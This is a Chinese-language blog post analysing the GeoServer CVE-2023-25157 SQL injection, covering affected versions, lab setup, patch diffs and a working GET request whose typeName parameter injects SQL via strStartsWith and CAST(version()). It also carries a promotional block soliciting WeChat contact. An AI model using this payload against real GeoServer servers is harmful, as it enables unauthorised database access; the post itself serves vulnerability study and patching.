主頁 >  其他 > 淺析GeoServer CVE-2023-25157 SQL注入

淺析GeoServer CVE-2023-25157 SQL注入

2023-06-22 07:42:40 其他

簡介

GeoServer是一個開源的地圖服務器,它是遵循OpenGIS Web服務器規范的J2EE實作,通過它可以方便的將地圖資料發布為地圖服務,實作地理空間資料在用戶之間的共享,

影響版本

geoserver<2.18.7

2.19.0<=geoserver<2.19.7

2.20.0<=geoserver<2.20.7

2.21.0<=geoserver<2.21.4

2.22.0<=geoserver<2.22.2

環境搭建

安裝方式有多種可以選擇

windwos下載安裝

https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download

下載后只需要指定埠直接下載可完成安裝

war包安裝

tomcat下載地址

https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.90/bin/apache-tomcat-8.5.90-windows-x64.zip

geoserver下載地址

https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.1/geoserver-2.23.1-war.zip

解壓下載后的檔案geoserver-2.15.1-war.zip,得到geoserver.war

把此geoserver.war檔案拷貝到tomcat根目錄下的webapps檔案夾下,

啟動tomcat

訪問路徑,默認埠為8080,埠根據自己的需求開放即可,這里我開放的埠為8081

http://localhost:8081/geoserver/web/

image-20230619141002243

分析

POC下載鏈接

https://github.com/win3zz/CVE-2023-25157

python3 CVE-2023-25157.py http://localhost:8081

image-20230619141119088

查看提交的補丁分析一下漏洞

https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d

修改了組態檔src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java

重新添加了模塊org.geoserver.jdbcloader.JDBCLoaderProperties模塊用于組態檔jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模塊

image-20230619173910231

屬性欄位并更改了建構式以包含此屬性欄位,這允許對資料庫配置進行更多自定義,從而可能允許增強安全措施,NamedParameterJdbcTemplate是 Spring Framework 提供的一個類,它添加了對使用命名引數對 JDBC 陳述句進行編程的支持,而不是使用經典占位符 ('?') 引數對 JDBC 陳述句進行編程

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

public ConfigDatabase(
            JDBCLoaderProperties properties,
            DataSource dataSource,
            XStreamInfoSerialBinding binding) {
        this(properties, dataSource, binding, null);
    }
?
    public ConfigDatabase(
            JDBCLoaderProperties properties,
            final DataSource dataSource,
            final XStreamInfoSerialBinding binding,
            CacheProvider cacheProvider) {
?
        this.properties = properties;
        this.binding = binding;
        this.template = new NamedParameterJdbcTemplate(dataSource);

通過使用引數化查詢而不是字串連接

image-20230619173715798

src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java在插入中做了修改

          //sql.insert(0, "SELECT * FROM (SELECT query.*, rownum rnum FROM (\n");
          //sql.append(") query\n");
            sql.insert(
                    0,
                    "SELECT * FROM (SELECT query.*, rownum rnum FROM ("
                            + (isDebugMode() ? "\n" : ""));
            sql.append(") query");
            appendIfDebug(sql, "\n", " ");

修改了插入語法,其方法在src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java

中定義

 public boolean isDebugMode() {
        return debugMode;
    }
?
    public void setDebugMode(boolean debugMode) {
        this.debugMode = debugMode;
    }
?
    /** Escapes the contents of the SQL comment to prevent SQL injection. */
    public String escapeComment(String comment) {
        String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("*\\\\/");
        return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\\\*");
    }
?
    /** Appends the objects to the SQL in a comment if debug mode is enabled. */
    public StringBuilder appendComment(StringBuilder sql, Object... objects) {
        if (!debugMode) {
            return sql;
        }
        sql.append(" /* ");
        for (Object object : objects) {
            sql.append(escapeComment(String.valueOf(object)));
        }
        return sql.append(" */\n");
    }
?
    /** Appends the objects to the SQL in an comment if debug mode is enabled. */
    public StringBuilder appendComment(Object sql, Object... objects) {
        return appendComment((StringBuilder) sql, objects);
    }
?
    /** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
    public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
        return sql.append(debugMode ? ifEnabled : ifDisabled);
    }

獲取功能名POC

GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1

image-20230620100405699

獲取功能屬性POC

GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines&maxFeatures=1&outputFormat=json HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1

image-20230620100747389

構造惡意payload

GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines=strStartsWith%28scalerank%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1

這里參考一張圖,geotools的注入漏洞

image-20230620153404216

漏洞編號CVE-2023-25158,查看補丁發現

在類中添加該escapeBackslash欄位modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java是一種預防措施,可防止某些形式的 SQL 注入,其中反斜杠字符用于轉義 SQL 語法中的特殊字符

  // single quotes must be escaped to have a valid sql string
  String escaped = escapeLiteral(encoding);

呼叫類escapeLiteral()中的方法EscapeSql.java,此方法旨在不僅轉義單引號,還轉義反斜杠,并可能根據其引數轉義雙引號

  public static String escapeLiteral(
            String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {
            // ' --> ''
            String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");
            if (escapeBackslash) {
                // \ --> \\
                escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\\\\\");
            }
            if (escapeDoubleQuote) {
                // " --> \"
                escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\\\\"");
            }
            return escaped;

至于為什么會聊到CVE-2023-25158,這里就要聊到GeoserverGeotools的關系了,可以參考這篇文章

https://blog.csdn.net/nmj2008/article/details/113869086

修復方案

升級安全版本,目前已經有最新版本,

更多網安技能的在線實操練習,請點擊這里>>

 

合天智匯:合天網路靶場、網安實戰虛擬環境

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/555759.html

標籤:其他

上一篇:【技識訓累】演算法中的基本概念【一】

下一篇:返回列表

標籤雲
其他(161447) Python(38244) JavaScript(25512) Java(18251) C(15238) 區塊鏈(8271) C#(7972) AI(7469) 爪哇(7425) MySQL(7260) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5875) 数组(5741) R(5409) Linux(5347) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4606) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2436) ASP.NET(2404) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) .NET技术(1984) HtmlCss(1970) 功能(1967) Web開發(1951) C++(1942) python-3.x(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1881) .NETCore(1863) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 淺析GeoServer CVE-2023-25157 SQL注入

    GeoServer是一個開源的地圖服務器,它是遵循OpenGIS Web服務器規范的J2EE實作,通過它可以方便的將地圖資料發布為地圖服務,實作地理空間資料在用戶之間的共享。 ......

    uj5u.com 2023-06-22 07:42:40 more
  • 【技識訓累】演算法中的基本概念【一】

    博客推行版本更新,成果積累制度,已經寫過的博客還會再次更新,不斷地琢磨,高質量高數量都是要追求的,工匠精神是學習必不可少的精神。因此,大家有何建議歡迎在評論區踴躍發言,你們的支持是我最大的動力,你們敢投,我就敢肝 ......

    uj5u.com 2023-06-21 08:20:56 more
  • 現代密碼學第四版楊波著-期末復習匯總

    我將用一整天突擊,嶄新的一本書,從0到期末80+,(僅針對本校逆天考點進行總結) 完本總結:總計歷經兩天半,共計15小時,總計30+頁,僅帶來個人的復習思路與心路歷程 寫本博客原因? 馬上期末考試,整本書從來沒有看過,嘗試0基礎一天學完,突破自己。 網上沒有完全符合本課程的詳細匯總(其中一篇總結不錯 ......

    uj5u.com 2023-06-21 08:19:27 more
  • 用Python寫了一個「擁抱梅西」的小游戲

    大家好,歡迎來到 Crossin的編程教室 ! 最近有個小伙兒因為在比賽中沖進場地擁抱梅西而出名了。 這種行為當然不可取,他也為此付出了代價。但要說我沒有一丁點羨慕和佩服那是不可能的。 于是,我也尬蹭一下這個熱點,用Python寫了一個「擁抱梅西」的小游戲。 游戲效果是這樣的: 游戲規則很簡單: 不 ......

    uj5u.com 2023-06-21 08:18:35 more
  • 從0到1構造自定義限流組件

    在系統高可用設計中,介面限流是一個非常重要環節,一方面是出于對自身服務器資源的保護,另一方面也是對依萊澩的一種保護措施。比如對于 Web 應用,我限制單機只能處理每秒 1000 次的請求,超過的部分直接回傳錯誤給客戶端。雖然這種做法損害了用戶的使用體驗,但是它是在極端并發下的無奈之舉,是短暫的行為... ......

    uj5u.com 2023-06-21 08:17:26 more
  • 【Podman Desktop】配置鏡像源加速

    ## 配置Podman desktop鏡像源加速 1. 打開阿里云`https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors`,復制里面的加速地址 ![image](https://img2023.cnblogs.com/blog/308 ......

    uj5u.com 2023-06-21 08:17:18 more
  • 我是如何寫題解的

    在演算法競賽中,寫題解是我們不可或缺的一部分。它不僅能夠幫助我們整理思路、總結經驗,還可以與他人分享我們的解題思路和代碼實作。然而,寫一篇較完備的題解往往非常繁瑣,需要手動復制粘貼題目鏈接、題號和AC代碼,這不僅費時費力,還容易分散我們的注意力,因為我們寫題解的核心內容是對題目的理解以及怎么解決這個問 ......

    uj5u.com 2023-06-21 08:17:13 more
  • 以夢為碼 自主創新 | 華為云開發者日成都站圓滿舉行!

    摘要:近日,華為云開發者日HDC.Cloud Day在成都成功舉行,活動匯聚了20余位技術大牛和行業專家,與開發者們共同探討AI時代下的軟體開發革命、產教融合發展新趨勢。 本文分享自華為云社區《以夢為碼 自主創新 | 華為云開發者日成都站圓滿舉行!》,作者:華為云社區精選 。 華為云開發者日是面向全 ......

    uj5u.com 2023-06-21 08:16:45 more
  • Burp+Xray的聯動使用

    Burp+Xray的聯動使用 步驟如下, 1)首先,我們啟動Xray的url監聽功能,我們設定監聽地址為127.0.0.1,埠為7777。監聽的報告輸出到xray檔案夾根目錄下的proxy_test.html。 輸入以下命令后,xray的監聽就開始了。 .\xray_windows_amd64.e ......

    uj5u.com 2023-06-21 08:16:20 more
  • 學習抽象概念案例,虛數和復數

    # 從哲學角度思考虛擬的東西有必要嗎? 人類可能是唯一一個能夠構想出不存在的事物的物種,這個能力對我們來講非常重要。 說實話,虛數其實不好理解,因為這個數是之前的數學家虛構、想象出來的。那么這種虛構的數一定是抽象的,就像我們說的負數,你就很難說它存在或者不存在,當你說“我有-1個蘋果”,那么這個-1 ......

    uj5u.com 2023-06-21 08:10:42 more